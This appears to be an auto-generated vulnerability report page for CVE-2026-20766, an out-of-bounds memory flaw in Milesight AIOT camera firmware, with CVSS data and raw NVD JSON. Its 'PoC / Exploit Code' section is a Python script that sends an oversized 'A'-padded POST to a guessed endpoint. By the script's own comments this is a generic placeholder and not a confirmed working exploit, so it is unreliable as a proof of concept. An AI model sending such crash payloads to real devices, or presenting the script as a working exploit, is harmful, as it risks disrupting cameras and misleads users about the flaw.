Security Vulnerability Report
中文
CVE-2026-20766 CVSS 8.8 HIGH

CVE-2026-20766

Published: 2026-04-28 01:16:00
Last Modified: 2026-04-28 20:11:57

Description

An out-of-bounds memory access vulnerability exists in specific firmware versions of Milesight AIOT cameras.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Milesight AIOT 摄像头特定固件版本 (具体版本号请参考官方通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ PoC for CVE-2026-20766 (Milesight AIOT Out-of-bounds Write) Note: This is a generic demonstration structure based on the vulnerability description. Actual offsets and trigger mechanisms require firmware analysis. """ import socket import sys # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 80 def send_exploit(): # Constructing a malicious payload to trigger out-of-bounds access # This payload simulates a buffer overflow or specific malformed request header = "POST /api/vulnerable_endpoint HTTP/1.1\r\n" header += "Host: {}\r\n".format(TARGET_IP) header += "Content-Type: application/json\r\n" # Padding to exceed expected buffer size # 'A' * 1000 is arbitrary, actual size depends on firmware analysis payload = "A" * 1000 request = header + "Content-Length: {}\r\n".format(len(payload)) request += "\r\n" request += payload try: print("[+] Sending exploit payload to {}:{}...".format(TARGET_IP, TARGET_PORT)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(request.encode()) response = s.recv(1024) print("[+] Received response:") print(response.decode()) s.close() print("[+] Exploit sent. Check device status for crash or code execution.") except Exception as e: print("[-] Error: {}".format(e)) if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20766", "sourceIdentifier": "[email protected]", "published": "2026-04-28T01:16:00.233", "lastModified": "2026-04-28T20:11:56.713", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds memory access vulnerability exists in specific firmware versions of Milesight AIOT cameras."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-113-03.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-113-03", "source": "[email protected]"}, {"url": "https://www.milesight.com/support/download/firmware", "source": "[email protected]"}]}}